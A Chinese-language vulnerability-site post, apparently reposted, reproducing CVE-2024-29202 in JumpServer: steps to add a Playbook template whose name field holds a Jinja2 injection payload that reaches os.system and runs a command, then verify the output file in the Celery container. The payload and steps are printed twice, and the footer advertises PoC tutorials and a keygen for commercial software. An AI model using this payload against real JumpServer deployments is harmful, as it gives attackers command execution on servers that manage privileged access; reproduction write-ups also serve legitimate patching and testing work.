JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

与 CVE-2024-29201类似，进入作业中心-模板管理添加一个 Playbook，在工作空间输入的内容为：

– name: | {% for x in ().__class__.__base__.__subclasses__() %} {% if “warning” in x.__name__ %} {{ x()._module.__builtins__[“__import__”](“os”).system(“id > /tmp/pwnd2”) }} {%endif%} {%endfor%}

添加完成后，同样进入作业管理页面创建并运行 Playbook 作业。运行结果如下：

图片[1]-JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

进入 Celery 容器，查看 tmp 目录下是否存在 pwnd2 文件

图片[2]-JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

https://www.ctfiot.com/169655.html

与 CVE-2024-29201类似，进入作业中心-模板管理添加一个 Playbook，在工作空间输入的内容为：

– name: |

{% for x in ().__class__.__base__.__subclasses__() %}

{% if “warning” in x.__name__ %}

{{

x()._module.__builtins__[“__import__”](“os”).system(“id > /tmp/pwnd2”)

}}

{%endif%}

{%endfor%}

添加完成后，同样进入作业管理页面创建并运行 Playbook 作业。运行结果如下：

图片[3]-JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

进入 Celery 容器，查看 tmp 目录下是否存在 pwnd2 文件

图片[4]-JumpServer存在模板注入漏洞(CVE-2024-29202)-棉花糖会员站

https://www.ctfiot.com/169655.html

文章版权归作者所有，未经允许请勿转载。

THE END

国内漏洞库

JumpServer存在模板注入漏洞(CVE-2024-29202)

请登录后发表评论

1独家!超强代码审计工具上线！免费会员等你来嫖！

2有poc有语法，如何一分钟完成复现/批量检测

3某云安全视频教程

4Windows应急响应

5UltraEdit、UEStudio、UltraCompare 注册机

6预警监控平台newLogin SQL注入